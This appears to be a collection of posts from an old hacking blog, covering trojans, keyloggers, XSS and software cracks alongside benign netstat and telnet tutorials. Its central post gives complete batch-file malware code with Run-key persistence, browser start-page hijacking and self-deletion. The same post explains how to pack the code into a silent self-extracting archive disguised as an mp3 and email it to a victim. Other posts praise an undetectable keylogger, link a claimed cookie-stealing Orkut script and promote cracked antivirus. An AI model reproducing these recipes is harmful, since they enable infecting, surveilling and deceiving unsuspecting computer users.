It is an innocent looking application, claiming to be a flash game, having icon of a game, which is really tempting to try a hand on. Once executed, the contents- The launch.bat, svchost.exe and game.exe are extracted in temp folder and launch.bat is run. As programmed, the launch.bat file will move the main virus svchost.exe to config folder in system32 directory and run it. At the same time, it will run the game that is extracted in temporary folder. This way, the victim sees a game start and doesn’t suspect our Trojan planter. Now our planter has done its job and the main virus is into its place and has been run.

The main virus named as svchost.exe, even if seen through some process monitor tool, looks like a windows application, with icon of a DLL. This virus will anyways disable task manager, so that it can’t be end tasked. It also disables folder options, which prevents victim to search for it since it is super hidden. It also disables run, so that user cant launch applications like group policy editor. It disables registry editing; hence any attempt to import registry will be rejected. And then it goes into a continuous loop that will close Internet explorer, Chrome, Firefox and Yahoo messenger. You can also include other unwanted applications into this list, like process explorer, autoruns tool, malwarebytes etc. Hence, it’s a complete havoc!

Now coming to removing such nasty viruses, it goes by trial and error at first. You try system restore, its disabled, no restore points are available; you try opening task manager, it’s disabled. You try restoring registry defaults, its disabled too. Also process explorer and autoruns fail to start too.

Firstly, since the tools like Process explorer and autoruns can’t be disabled through registry (unless EXE file association is edited, which wont allow you to run any exe file), you will rename them and then run them. Since the virus was monitoring image name and end tasking it, it can’t stop the altered image name. Now, in process explorer, we analyze each of the processes. We notice a suspicious extra svachost.exe, which is running from system32\config folder, which blows its cover. We end task it and delete it. Now running autoruns, we remove its startup registry key as well. Now, the malware is gone, just the alterations in registry remains. Hence, you try cmd. Go to system32 folder and run cmd from there. In cmd, you edit the key which disables registry editing.

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f

This lets you edit registry now. Import the defaults.reg entries and this must fix the rest of the issues. Note that system restore will have to be manually enabled from group policy editor GPEDIT.MSC.

Hence we see that even smarter viruses have loop holes that can be exploited and used to get rid of them.

Note: Booting into safe mode is a favorite option for many, since startup isn’t loaded. But viruses now alter the USERINIT registry key and attach itself to it, hence starting in safe mode too, making the attempt fruitless.

Hiding Passwords - the most unexpected way !

2009-11-15T16:20:00.001+05:30

[Wehrdo] has posted a guide with an extremely low-tech solution to password management. He literally put the passwords on a floppy disk in the form of paper glued to the magnetic film. For those that still have some floppy disks around, this is a zero cost hack. We wouldn’t recommend this for state secrets, but for those prolific forum registrations it’s a great idea.

How to make your own Batch file Virus ?

2009-11-15T15:35:00.004+05:30

* The article is written for educational purpose only.

It’s always been this way that we fellows be the good guys and save the day fighting malware threats… But as they say, you need to think like a criminal to catch one! And so we do the same, to understand how a malware works, how does it gains access, gains control, we will our self make a batch file based virus. A little knowledge of programming, just to extent how we do it, and knowledge of windows registry is a prerequisite.

Batch files, characterised by their .bat extension, are files containing a sequence of DOS commands that gets executed when the batch file is run. This allows you to make simple programs that perform simple tasks under limitations of DOS shell. Though higher level languages like BASIC, PASCAL and C interacts with system on lower level, batch file processing is a good start to understand malware.

The kind of malware that we are going to learn to make is one that will perform a simple task of changing desktop wallpaper, interchanging the left and right mouse keys, changing start page of internet explorer(6), and make a start-up entry so that it starts every time system starts. Though this sounds like a simple task, automation of this procedure such that it works on a single wrong click by user and runs all tasks without any confirmation and hidden is a tough job when started from scratch.

The components of the virus will be a main executable file, under cover of some attractive icon, which on execution extracts in background to a batch file and the wallpaper, then runs the batch file.

Before code, let’s learn a few basics, first on creation on batch files. These aren’t any special files created by some special applications. They are simple notepad files, where in code is written and then its extension changed to .bat. They run simple tasks like MOVE, COPY, RENAME etc , a few moderate tasks like changing file attributes ( i.e. making a file hidden, giving system attribute or removing the attributes) and a few complex tasks like altering a system registry without user intermission. The main draw back in a batch file is that it doesn’t remain active in memory (though we can make it by some loop), it just performs the stated tasks and shuts down. Hence, it can act as a trigger, and not the process itself.

Now, let’s learn a few commands of batch files. Though a basic knowledge of DOS is crucial, if not, you can still follow what’s going on. Starting with a simple rename command, the syntax is-

RENAME [Drive]: [path] filename1 filename2

Example: RENAME C:\documents and settings\aijaz.txt gyaan.dat

Hence we see we can change the extension of file as well. If the path and drive of file aren’t specified, it is assumed that the file is in the current directory where from CMD is running.

Example: RENAME aijaz.txt gyaan.dat

This command searches a file name aijaz.txt in current directory and renames it to gyaan.dat.

Coming to MOVE command, it moves the file from one path to another. It is like cut and paste. The syntax is-

MOVE [/Y |/-Y] [drive] [path] filename destination

The /Y attribute assigned allows CMD to overwrite files without confirmation, hence maintaining cover from user.

Example: MOVE /Y C:\aijaz.txt D:\

This moves the file aijaz.txt to drive D: . While moving a file, if source path isn’t mentioned, then it is assumed that the file is in current directory. But destination path is mandatory.

We use the move command to change the wallpaper. The wall paper once set, is converted to a bitmap image and is then moved to the directory–

C:\Documents and settings\”user name”\local settings\application data\Microsoft

But the windows directory may be different drive like D:, E: and even the user name isn’t known. This makes it not suitable to mention a specific path in our code. We use system parameters to identify windows drive and user profile directory. The command – %userprofile% returns the path of the location highlighted in above command. To give path in CMD using system parameters, we need to write path in quotation marks. The command to change wallpaper becomes-

MOVE /y Wallpaper1.bmp “%USERPROFILE%\Local Settings\Application Data\Microsoft”

This copies the wallpaper from current directory to the location where wallpaper is stored.

Note: It is to be kept in mind that windows actually use only uncompressed bitmap images as wallpapers. Whenever we set an image as wallpaper, it is converted to bitmap and then stored at above mentioned location in user profile with name wallpaper1, hence the reason. Thus, the wallpaper we use here should already be a bitmap image, use an image editing tool like Irfanview which does a good job at conversion to bitmap.

Once the wallpaper has been replaced, the system needs to be updated for change to take place on desktop. This is done using the command-

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

After the execution of batch file, it is desired that it isn’t available to host PC that he may open it and view the code, which discloses the location of our batch virus and also the registry key we have added. This is done by simply deleting the files.

Del /F /Q /A:SHR filename

/F forces deletion of read only files, /Q suppresses the confirmation to delete, /A deletes files based on given attributes. S- System, H- Hidden, R- Read only.

Now coming to editing registry, there are two methods of editing a key, first by making a .REG file using batch print tool to write registry keys in a file and later appending them to registry. But this method adds a couple of more lines to our code. Hence we prefer the second method of editing registry directly via command line using REG command.

The syntax to add a key to registry is-

REG ADD main key/v Sub key /t data type /d value /f

The /f parameters enables editing a key without confirmation from user. Our intention is to add a start-up entry in registry such that our code gets executed every time windows logs on. Hence the wallpaper is changed again, making the innocent user panic! The actual key we use is-

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /t REG_SZ /d %windir%\force.exe /f

The above command writes a start-up key which makes the file pointed by the key run every time windows start. We use %windir% parameter to make sure that no error is encountered in case OS is installed on some other drive.

The point to be noticed here is that the same technique is used by malware to make sure they remain active in memory. The first thing to be done having ended a malicious code execution is to terminate its start-up mechanism. Refer the post Eradicate malware.

Similarly to change the start page of internet explorer (tested on IE 6), the registry key is-

REG ADD HKCU\Software\Microsoft\InternetExplorer\Main /v StartPage /t REG_SZ /d http://pcgyaan.wordpress.com /f

Since IE 6 stores the default start page in registry key, it is very vulnerable to this simple attack. I am still working on changing start page of Mozilla Firefox.

Now to add a little more insult to injury, how about tying down our victim’s right arm and make him struggle with his left? We gonna switch the right and left keys of our mouse, making our victim panic even more! Here is the command….

RUNDLL32.exe USER32.DLL,SwapMouseButton

Having learned a few tricks of trade, let’s put down the final batch file code. Open a notepad file and key down this script….

@ECHO OFF

REG ADD HKCU\Software\Microsoft\InternetExplorer\Main /v StartPage /t REG_SZ /d http://pcgyaan.wordpress.com /f

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /t REG_SZ /d %windir%\force.exe /f

copy /y Wallpaper1.bmp ”%USERPROFILE%\Local Settings\Application Data\Microsoft”

RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters

RUNDLL32.exe USER32.DLL,SwapMouseButton

rename song.exe force.exe

move /y force.exe “%windir%”

del /Q force.bat

del /Q wallpaper.bmp

Save the file and change its extension to .bat. This is the core virus file. Now pick up a photo of our victim and edit it so that it will annoy him the most! This can be simply be done by opening the file in note pad and making it funny or if you how to, edit it in Photoshop. Or sites like photo funaic can be used to spoil the photo. Usually these photos are JPEG format. As mentioned earlier, we need a bitmap image. Convert it to bitmap using an image editing tool, preferably Irfanview since it preserves the quality of photo. Rename this photo to wallpaper1.

It’s quite obvious that nobody will click a suspicious looking batch file, thanks to my previous posts! The second task is to pack our batch file and wallpaper into a single file and change its icon, to mask it, so that user will be compelled to open it. The file can be made to look like a folder, or an mp3 file or a word file or anything. What you need is WinRAR and another software called IconFX.

Install IconFX and run it. In file menu, go to extract icons. Browse for shell32.dll file located in windows\system32 directory and extract and save icon of folder. You can also use the snap tool of iconFX and take snap of files to make an .ico icon file. Here we will name our packed file as song and select icon as an mp3 file icon. Just take snap of mp3 file, preferably windows media player icon. Save the icon at some location.

Install WinRAR on your PC. Select the two files, batch file and bitmap wallpaper by holding Ctrl key, right click and select add to archive option.
In the opened window, click Create SFX archive.
Go to Advanced tab and SFX options in it. In path to extract, select create in current folder. In setup program section, in Run after extract, add name as force.bat.
In Modes tab, under silent mode section, select hide all.
In update tab, in overwrite section, select overwrite all files.
In text and icon tab, under Customize SFX logo and icon, in Load SFX icon from file, browse and set icon as MP3 icon. Click OK and compress the files. You will get a single .exe file which has an icon of mp3 file. Let’s rename this file as song.

Note: The names force.bat and song.exe must not be changed, since they are referred by those names in batch code.

Now we have a file with name song, having an mp3 icon, quite innocent looking but having really naughty intensions! But the problem here is that if we mail it as it is, either clients like Yahoo doesn’t allow attaching .exe files, also when victim downloads the file, its extension is also shown, exposing our plot. Hence, in case of mailing this virus, compress it to a simple .RAR file and mail it. The victim will extract it, and then see a file with name song and icon of mp3. In curiosity, he will open it and our job is done!!

Though I am still working on making better ones, but I would like to end this post with a message that this was just for a little fun and to develop an understanding how malware works. Let’s not drift towards the wrong side of society!

Ardamax Keylogger - Ultra cool keylogger

2008-10-14T21:45:00.004+05:30

Ardamax Keylogger is a keystroke recorder for monitoring EVERYTHING people type on the computer. In total stealth, the program records keystrokes made in all applications – Microsoft Word, Outlook Express, Skype, Internet Explorer and anywhere else, makes snapshots of the screen and saves captured information to an encrypted log file. The log file has a time stamp and the name of the application where the keystrokes have been captured. You can view the log in the built-in Log Viewer, or have it sent to you by email, via LAN, or get it uploaded to the FTP server.

The program leaves no traces of its presence and cannot be discovered by the computer system. Other users do not suspect they are being monitored and cannot see the program in Windows processes, even with advanced process viewers. The program can be accessed by the user who knows a valid access password.

Ardamax Keylogger runs on Windows 2000, XP, 2003, Vista.

Keylogger Features:

Orkut Social Application - An Alert Script trouble !

2008-05-23T20:20:00.004+05:30

As been described here

" When one of my friends told this, I didn t take it very seriously. Because, what he told was not happening for me. What he told was Hey G, whenever I come to your profile, a alert box appears with the name askoppal. Do you know who it is

Well, askoppal is my friend and is in my friends list, but nothing of that sort happened, because I was using opera then and scripts were blocked. But the interesting happened today morning when I used firefox, yes a alert box was indeed appearing when I visited my profile.

Primary Investigations showed me that there wasn t anything in the source that could be causing this. Then I went to askoppal s profile page and found that his profile name was
alert( askoppal )

and hence an alert box was appearing even in his profile page. But why in mine?

So what I did was I changed my title to a similar one.
alert( Jithin K.Rajeev )
And then I observed that even my name too was displayed in the alert box, but two times it appeared and then askoppal s name.

Now the question was, is there any possibility of compromising your account using this bug. If yes, has anyone already started exploiting this bug? I posted my thoughts at Hacker s Library. And Vipul responded back in my scrapbook. (I don t think I can recreate the conversation here as he keeps his scrap book empty.L.) Anyway let me see.

These are Vipul s perspective about how this bug can be exploited.

You can successfully make an XSS attack using the TypeRacer app s bug.

How about a link to an external script.
Actually name field has limited letters, so you can simply so is we can connect it via external scripts. But still, it s not good to have such a flaw!

The basic of XSS is if you re able to execute scripts on a remote machine using a bug from a live site.
We can just publish that malicious scripts can be executed in orkut can cause a Man in Middle attack.

How are we able to execute script?
In what ways, one way is by typing in the First Name - Last name fields.

It s just working with profile name, nothing else.
Actually the profile name flashes in the TypeRacer app, that s why!

Then I tried using document.cookie in the script (javascript:alert( document.cookie ) when executed in your address bar displays the cookies set.) But the outcome was a blank alert box. This means that document.cookie did not carry any value. It was null, when executed via TypeRacer app.

To this Vipul replied

How about the spammers?
They can make fake accounts and add themselves in typeracer and then they put the redirection script to advertisement sites and can gain profits. A script hosted on a different server which contains the bunch of those click fraud URLs.

Then after some profile surfing, I found that it was irritating at times to have a bunch of alerts, in profile having TypeRacer app. It seems that JavaApplet can be executed via similar scripting. In a community discussion, I found the code which claimed to be a orkut trojan

http://f4.filecrunch.com/files/20080512/cd347c7536557e269ff599fb5756fd9a/hi3.js

What this code does shall be discussed later. It basically mails your cookies and transfers your communities. But using latest firefox and ie7 avoids session and cookie hijacks and for transferring communities, the password is now required. So there isn t any possibility of account and community hijack. Only some irritating scripts might run. Well, use firefox with NoScript addon installed, to avoid all problems.

Best Solution : Remove TypeRacer App at least till the problem is resolved by the brains behind the application. And do use Firefox with NoScript addon."

50+ Google Reader Productivity Hacks

2008-05-22T07:57:00.000+05:30

Google Reader is already a tool that can be used to boost your productivity throughout the day by letting you view your favorite blog’s feeds and posts in one spot: through your Google account. But for those of us who tend to get bogged down in a lot of useless subscriptions and really need to cut down on the minutes (or hours) we spend procrastinating each day, there are a lot of little hacks to make Google Reader more productive. We’ve compiled a list of over 50 of our favorites here.

Keyboard Shortcuts

Use these basic but necessary keyboard shortcuts to make searching, organizing, sharing and reading your feeds more efficient.

/: Use the forward slash to move your cursor to the search box and start looking for new stuff or saved items.
g then u: Type g then u to go to your subscriptions.
g then d: This shortcut will take you to the recommended page. If there are no recommendations, typing g then d will take you to the browse page.
2: Press 2 to see your subscriptions in a list view or headline view.
?: Find more keyboard shortcuts just for Google Reader by pressing the question mark.
Shift-s: Pressing Shift-S will share or un-share the selected item.
s: Star and un-star your highlighted items simply by pressing s.
Shift-o: Open up the highlighted subscription or folder with this shortcut.
g then h: Press g then h to go back to the Google Reader homepage.
g then shift-s: This shortcut will take you to the “Your Shared Items” page.
shift-n/p: n/p stands for Next/Previous, and using this combination will select the Next/Previous selection or folder.
v: Open up the original page of the selected item in Google Reader.
e: Quickly e-mail a page or other selection by pressing e when you’re in Google Reader.
r: Check to see if anymore unread updates have been added when you hit the r button in the navigation.

For Firefox

Firefox users like their browser’s speed and ability to add on new scripts or buttons. Check out several Google Reader-specific hacks for Firefox here.

Enhance Google Reader Preview: This script adds a Preview button so that you don’t have to open up an article or post all the way to read it.
BlogThis2Me: The BlogThis2Me script lets you “blog Google Reader’s “BlogThis!” to your own blog system, not to blogger.com,” as long as you have Firefox and Greasemonkey.
Smart Google Reader Subscribe Button: this script “adds an overlayed check icon when you’re subscribed to at least one of the feeds that the site advertises via auto-discovery.”
Gbutts 1.5.1: Gbutts is short for Google buttons, and you can add your Google Reader button, as well as any other Google buttons, to your Firefox address bar.
Better GReader: Better GReader works with Firefox adds a menu with extra options and features like Smart Subscribe, Preview Inline, Optimized Skin and others.
Google Reader Watcher: Google Reader Watcher is an add-on that makes Firefox check your Google Reader for unread fees. This download does not require Greasemonkey.
Quick Hide Message: Shave off milliseconds with this script, which “quickly hides the message displayed in Google Reader after performing renames, folder changes,” and other actions.
Auto Add Feed: The Auto Add Feed script only adds feeds to Google Reader, instead of asking you where you want it to be saved.

Real Time Savers

If you’re serious about making your Google Reader visits more efficient, learn how to categorize by priority, use the “next” bookmarklet, and implement scripts that let you autoscroll, review your subscriptions and more.

Categorize by priority: Stepcase Lifehack recommends categorizing your feeds by priority so that you don’t get bogged down in irrelevant articles.
Google Reader Autoscroll: The autoscroll script lets you “view and mark items as read by means of a mouse wheel and keyboard shortcuts.”
Mark All as Read: If you only want to read one article from a feed, you can mark everything else as read to weed out your extra entries.
Google Reader Scroll Reducer: With this script, you’re able to comment on and view the original site without having to scroll to the top of page to get to the URL.
The “Next” Bookmarklet: The Google Reader Blog discusses this hack, which “allows you to use Google Reader through just one link — clicking on it takes your browser to the next unread item in your reading list.”
Review your subscriptions: Are you still getting subscriptions for some obscure hobby you were only interested in a year ago? Go through your subscriptions and delete any that you don’t really want emptied into your account regularly.
Print Button v2.0: The Google Reader Print Button v2.0 allows users to print either the selected content or everything that’s displayed on the page in Google Reader.

ALL ABOUT NETSTAT - A TUTORIAL

2008-05-19T20:49:00.001+05:30

Note- This tutorial may bear a resemblance to tutorials written by other authors. I have acknowledged to tutorials or articles that I referred before writing this tutorial. It is possible that there may be other tutorials I have not referred and are similar to my tutorial. It is not possible for me to give acknowledgment to such tutorials and hence there must be no copyright or legal issues regarding this tutorial.

Dear reader

In this tutorial I am going teach how to use a very useful command netstat. By using netstat you will be able to find out the ip address of your computer and of the remote computer connected to your computer and most importantly you will be able to know what ports are open on our computer - this will help you know if your computer is infected by a Trojan. Let us see how to launch netstat command. netstat is a MS-DOS based command, you can not use mouse to interact with this utility. To launch this command simply run MS-DOS prompt. To do this just click on 'Run...' after clicking on Start button and then type command and press enter key. Alternatively you can select MS-DOS prompt from Start menu if you are using windows 98 or from accessories if you are using windows NT,2000 or XP. After launching command prompt you will get

C:\windows>

C:\>

To launch netstat type netstat -a and press enter key.

C:\windows>netstat -a

This will give output similar to this.

Active Connections

Proto Local Address Foreign Address State

TCP gaurav:1753 www.ethicalhackers.tk:http ESTABLISHED

TCP gaurav:1081 ftp.mycgiserver.com:ftp ESTABLISHED

TCP gaurav:1036 ftp.mycgiserver.com:ftp-data TIME_WAIT

TCP gaurav:1145 mail.sec33.com:pop3 ESTABLISHED

Let us try to understand this output in some detail.

Proto Its full name is Protocol. A protocol is simply a set of rules that your computer follows to communicate to other computers.

The TCP shown under the heading Proto shows that our computer is using the TCP (Transfer Control Protocol ) to communicate to the other computer. An other type of protocol is UDP

Local Address This is the address of our computer. Under this heading we can see gauarv:1081. gaurav is the name of our computer. This is the name asked by windows setup during installation.1081 is our local port number and is randomly generated. A port is simply a virtual 'road' on which internet data 'travels'

Foreign Address This is very important for us. Under this heading we can see ftp.mycgiserver.com This shows that our computer is connected to computer having name ftp.mycgiserver.com

State This tells about the state of our connection. Following table will help you in understanding these.

STATE	WHAT DOES IT MEAN
CLOSED	There is no connection between your computer and remote host.
CLOSING	Your computer and remote computer have both agreed to close connection.
CLOSE WAIT	The remote computer has initiated to close the connection
ESTABLISHED	There is a connection.
FIN WAIT 1	The software using connection (like msn messenger) has finished using the connection
FIN WAIT 2	The remote computer has agreed to close connection.
LAST ACK	The connection is waiting for all the data packets to destroy.
LISTEN	Your computer is listening for incoming connection
SYN RCVD	Remote computer is sending a request for connection
SYN SENT	Your computer has initiated to open a connection
TIMED WAIT	same as LAST ACK

Now let us see some other options available with the netstat command. If you want to know the options available you can pass /? as an argument to the netstat command i.e.

c:\windows>netstat /?

We will get the following output.

Displays protocol statistics and current TCP/IP network connections.

NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]

-a Displays all connections and listening ports. (Server-side connections are normally not shown).

-e Displays Ethernet statistics. This may be combined with the -s option.

-n Displays addresses and port numbers in numerical form.

-p proto Shows connections for the protocol specified by proto; proto may be tcp or udp. If used with the

-s option to display per-protocol statistics, proto may be tcp, udp, or ip.

-r Displays the contents of the routing table.

-s Displays per-protocol statistics. By default, statistics are shown for TCP, UDP and IP; the -p

option may be used to specify a subset of the default.

interval Redisplays selected statistics, pausing interval seconds between each display. Press CTRL+C to

stop redisplaying statistics. If omitted, netstat will print the current configuration information

once.

Before we explore all the options let us apply the knowledge we have just gathered. Let suppose we want to find out if our computer is infected with a Trojan. For those who don't know about Trojans I would like to tell them that Trojans malicious programs that may have come in form of a email attachment or in the form of infected software. These Trojans generally listen on some port for connections and after accepting the connection the remote computer user may execute any command on your computer. The most popular trojan is Back Orifice

So if you want to check out whether your computer is infected with Back Orifice you will run command netstat -a and if it shows that your computer is listening on port 31337 you must download some Trojan removal software. Please note that these Trojans have options that allow the remote attacker allow to change default port for accepting connections. For example a remote attacker may have changed the default port from 31337 to 54871. So you must look for suspicious ports. Click here to get a list of such Trojans and the default ports on which they accept connections.

Now let us explore all the options available with the netstat command. We have already used -a option that shows all the connections and listening ports. Let use explore -n option.

The netstat -n command will display the numbers in place of the names i.e. instead of name of our computer we will get the ip address of our computer. This option is helpful if we want to know the ip address of our computer and of the remote computer connected to our computer.

The netstat -p command is used to get information related to a particular protocol. Suppose we want to know only about the connections using UDP we will use command netstat -p udp and netstat -p tcp for connections using tcp. Please note that we can combine options. For example the command netstat -a -p udp and this will give us information about all the connections using UDP.

The netstat -s and netstat -e command are used to display detailed statistics about the different protocols. These commands are generally to correcting network problems.

The netstat -r is used to display routing tables. We need not go in details but I would like to tell you that routing table is used by computers to figure out by which route they should pass on the data. If a computer can not find out a suitable route it will discard the data packet.

Now before I end this tutorial let us see the use of interval option. If you specify a number in place of interval the netstat command will run again and again after that period of seconds. e.g. netstat -a 1 To exit from the command you will have to press CTRL+C.

NETBIOS BASED HACKING TUTORIAL - For Edu. purpose only ~

Note- This tutorial may bear a resemblance to tutorials written by other authors. I have acknowledged to tutorials or articles that I referred before writing this tutorial. It is possible that there may be other tutorials I have not referred and are similar to my tutorial. It is not possible for me to give acknowledgment to such tutorials and hence there must be no copyright or legal issues regarding thistutorial.

Preface

Dear reader I have written this tutorial keeping in mind that readers having only the basic knowledge will also be able to know how hackers hack using NetBIOS. Using NetBIOS for hacking is the probably the easiest way to hack remotely. I strongly oppose hacking but not ethical hacking. An ethical hacker is one that hacks computer networks not for anti social reasons but to let the network administrators know about the security holes so that they can prevent their computers from hacking.

Rapidshare.com - Auto Downloader - New Working 100%

2008-04-17T23:32:00.002+05:30

Rapidshare since changed their Captcha Images so the program above became unuseable. Though, some very nice members of a german communitiy made it possible again:

- Enter any Link from rapidshare.com oder .de and many other hosters
- Get a full automatic download from rapidshare (it recognises every code by itself)
- Automatically get a new IP after a Rapidshare Download is finished (can be turned off)
--> Everything fully automatic, no need to stay at PC the whole Time

With the pack, I created a small readme.pdf . Please go through all the steps one by one. It uses ABBY Finereader to recognise the code.

Here's a list of all supported Routers: routercontrol.de (url)
For all modem users, there is a good way for you to get a new IP, the way is included in readme.pdf

There are a few background information in the first thread. I can give help for Routercontrol, USDownloader and ABBYY but I don't have a modem, I will do what I can to help you.

Kaspersky Anti-Virus 7.0 + Crack =Free (Hacked-100% Working)

2008-03-18T22:05:00.004+05:30

Comprehensive anti-virus protection

Email protection. Your email is secure no matter which email program you use because Kaspersky Anti-Virus 7.0 scans email traffic in real-time: POP3, IMAP and NNTP for outgoing mail and SMTP for incoming mail. Moreover, Kaspersky Anti-Virus comes with plug-ins and disinfection routines for email databases for popular email programs such as Microsoft Outlook and Microsoft Outlook Express.

Real-time Internet traffic scanning. Kaspersky Anti-Virus 7.0 scans all HTTP Internet traffic in real-time no matter which browser you use. Malicious programs are detected before they are able to infect your computer. You can use the Internet for business or pleasure and still be secure.

On-access and on-demand file scanning. You can scan any and all areas on your computer from individual files to drives to removable storage media. You can also chose to scan only critical areas such as start up objects, which are a favorite target for virus writers.

Security for your data

Prevents criminals from harvesting your data. Many of today’s Trojans and keyloggers are designed to send your data to third parties without your knowledge or consent. Kaspersky Anti-Virus 7.0 detects and destroys such programs, making sure that your data stays where it belongs until you decide to share it.

Rollback of malicious changes. Kaspersky Anti-Virus 7.0 monitors system and application behavior for suspicious behavior. Once malicious behavior is detected, the process is blocked and all of the changes are rolled back, leaving you with a clean system and your original data intact.

Stability and critical protection

Rescue disk. Creating a rescue disk is quick and easy using the built in wizard in Kaspersky Anti-Virus. If your computer is ever attacked by a virus, you can restore and disinfect your system right away by yourself using the rescue disk you created even if the operating system has been damaged.

Self-protection. Today virus writers begin their attack on your computer by disabling anti-virus protection. Kaspersky Anti-Virus is designed to block all attempts to disable protection, leaving you to work and play securely.

Simple and Convenient

Quick installation and configuration. Express installation takes only a few minutes of your time. The default settings have been configured to provide best performance and best security, so you only need to install the program and can immediately return to your usual activities. If you enjoy customizing your security, the solution has extensive and flexible configuration options that will allow you to adjust the settings exactly as you like.

Minimal load on your system. A range of technologies ensures that you get the best out from your computer and stay secure: only new and changed files are scanned in real-time; scanning is paused if your other activities require additional resources; default settings for real-time monitoring ensure maximum performance.

Automatic hourly updates. Kaspersky Anti-Virus checks for updates on Kaspersky Lab servers regularly. In case of virus outbreaks the checks are more frequent. All updates are downloaded and installed automatically. You don’t need to worry about a thing.

Kaspersky Internet Security 7.0 + Crack = Free(Hacked-Working 100%)

2008-03-18T20:22:00.006+05:30

Using the Internet safely and securely

Secure surfing. The solution analyses web pages and blocks potentially malicious web-based content. It also blocks pop ups and ads, which are not simply irritating: virus writers often use ads to install Trojans that steal your confidential data or give the Trojan’s owner access to your computer.

Privacy Control. Many malicious programs attempt to locate and harvest user IDs and passwords for online bank accounts, auctions, shops, email, payment systems, chat rooms, online games and etc from Windows Protected Storage. Kaspersky Internet Security monitors and blocks all attempts to collect and forward your confidential data from this storage area.

Protection from phishing. Kaspersky Internet Security filters out phishing emails and protects you from accessing websites run by phishers who use social engineering to fool you into sharing your banking or online payment information.

Parental Control. Parents can protect their children from online predators by creating blacklists of individual websites, as well as identifying categories of forbidden content such as drugs, pornography and so on. These lists can be customized by user type for children, teens or adults. In addition, parents can manage their children’s Internet experience by limiting the amount of time they spend online.

Anti-virus protection and more

Protection from all of today’s Internet threats. Kaspersky Lab combines three protection technologies to protect you against viruses, Trojans, worms, keyloggers, rootkits and other threats. This means that you are safe from spyware, adware, pornware, crimeware and anything else today’s cyber criminals invent.

Firewall. The inbuilt personal firewall provides new generation protection from intrusions and data leaks. The default settings for popular applications control network and Internet activity using the IDS/IPS to prevent hackers from taking over your computer or stealing your data. Stealth mode allows you to surf safely and invisibly, protecting you from becoming a target for hacker attacks.

Anti-spam protection. The anti-spam module uses a combination of filtration methods to protect you from spam targeting you personally: white and black lists of senders and content, self-modifying algorithms for text analysis, graphical spam analysis and more.

Self-protection. Today virus writers begin their attack on your computer by disabling anti-virus protection. Kaspersky Internet Security is designed to block all attempts to disable protection, leaving you to work and play securely.

Restoring your data and your system

Rollback of malicious changes. Kaspersky Internet Security monitors system and application behavior for suspicious behavior. Once malicious behavior is detected, the process is blocked and any changes caused by malicious code are rolled back. Your system is clean and your original data is intact.

Rescue disk. Creating a rescue disk is quick and easy using the built in wizard in Kaspersky Internet Security. If your computer is ever attacked by a virus, you can restore and disinfect your system right away by yourself using the rescue disk you created even if the operating system has been damaged.

Getting Geographical Information using an IP Address

2008-01-15T14:49:00.000+05:30

"Getting the Internet Protocol or the IP Address of a remote system is said to the most important step in hacking of a system. Sometimes, however we get an IP in order to get more information on someone or some host. But, how can an IP Address be used to get more information on the location etc of a system? Well, this manual is aimed at answering just this question.

Actually, the IP address (Actually the entire TCP/IP Protocol) is structured or designed such that one cannot tell as to in which country a system having the given IP is situated, by simply looking at it. An IP Address has no fields, which tell you the country in which the computer using it resides in. So, all myths like ‘The Second or the third field of an IP stands for the country in which the system using it resides’ are definitely false and untrue." - Ankit Fadia

Introduction to TELNET

2008-01-09T16:38:00.000+05:30

Learning Telnet
*::Don't use this for illegal stuff::

Introduction:
Telnet is used to connect to remote machines through emulation. This means that
it can connect to a server, any server instantly because of it's ability to emulate (copy)
remote computers.

Lets Start:
In Windows, Telnet can be found by going to Start -> Run and then typing telnet.
The application should then pop up. If you don't have Windows, there are many Telnet alternatives for mac, linux etc. Since I don't know any,search the internet for Telnet for Linux or Telnet for Mac and you should find something instantly.

If you have a PC and are using Windows 98/95, 2000, Me, or XP continue...

As you can see, Telnet has 4 menu options. These are Connect, Edit, Terminal, and Help.

If you click Connect, you should see more options. Here they are.

Connect:
Remote System..
Disconnect
Exit

Names of servers you have been on.

To connect to a server, click Remote System...
This will then take you to a dialog box that has these fields:

Hostname:
Port:
TermType:

There should also be a Connect button and a Cancel Button.

Lets go over these & what you should put in them.

-Hostname-

The Hostname can be the address of the website your going to be connecting to:
http://www.google.com
or it can be the IP address. Keep in mind that you can only connect to servers and not to clients (other PCs)
an IP Address looks like this: 64.233.167.99

-Port-
Port can bb either the port number you wanna connect to on the server (Port 80 is the Internet, Port 23 is Simple Mail Protocol then there are some more ports for different things..)
or you can keep it Telnet and see what happens.

-TermType-
TermType is the type of Terminal telnet will be acting like.
This doesn't matter most of the time, so you can keep it to default or try other ones if you want.

When you have all this set up, you can Click Connect & see what happens.

Note: Sometimes many servers don't like anon people just logging on, so be careful when logging onto servers, because sometimes it might be some big company that likes bullying people or just SOMEONE who likes bullying people and then they might want to find you or trace you or something and I know for a fact you don't need that happening.

Another Note: When you go to a server and type something, such as a login name or a password, you might not see anything even though you are typing. this is a feature that telnet or the other server uses. It's for some kind of safety measure.

Ok that's all for the Connect Menu, lets go over the Terminal menu.

The terminal menu should have 3 options:

Prefernces
Start Logging
Stop Logging.

-Prefernces-
If you go to this, a dialog box will come up with various options. Here, you can change the
text color & background color of the program, and you can enable Local Echo, which shows
you everything you've typed, Blinking cursor if you want the cursor to blink check it, if not un check, Block cursor if you want the cursor to be shown as a block, VT100 Arrows, don't worry about these they are useless, Buffer Size, this allows you to set the number of lines of text you want to be shown before the screen starts to scroll, The Terminal emulation type, always have this set on the default unless you know what the second one is and you know what your doing.

-Start Logging-
This logs everything you do on Telnet in a log file on your computer.

-Stop Logging-
This will stop logging processes.

Well that's it for basics of telnet. Thanks for reading.

Hidden Redirection in Web Browser !

2008-01-09T16:14:00.000+05:30

How about redirecting your web browser to a page which is not actually requested.
A simple text file edit makes sites redirect to another. When you type address in address bar in any browser and enter it then it will display another web page.
For eg: when you type Google.com in the browser you will be redirected to yahoo.com.

Instructions to do:

1) Go to this directory [c:\windows\system32\drivers\etc], directory may change according to drive used for os installation
2) then hit enter
3) find a file named "hosts"
4) Right click on it and open with word pad.
5) In the last link of the document type the IP* address of yahoo space
www.Google.com (Vice versa for other sites)
6) now save it
7) restart the browser if its already running
8) Now try it, It works perfect

IP*: To find IP address of a website:
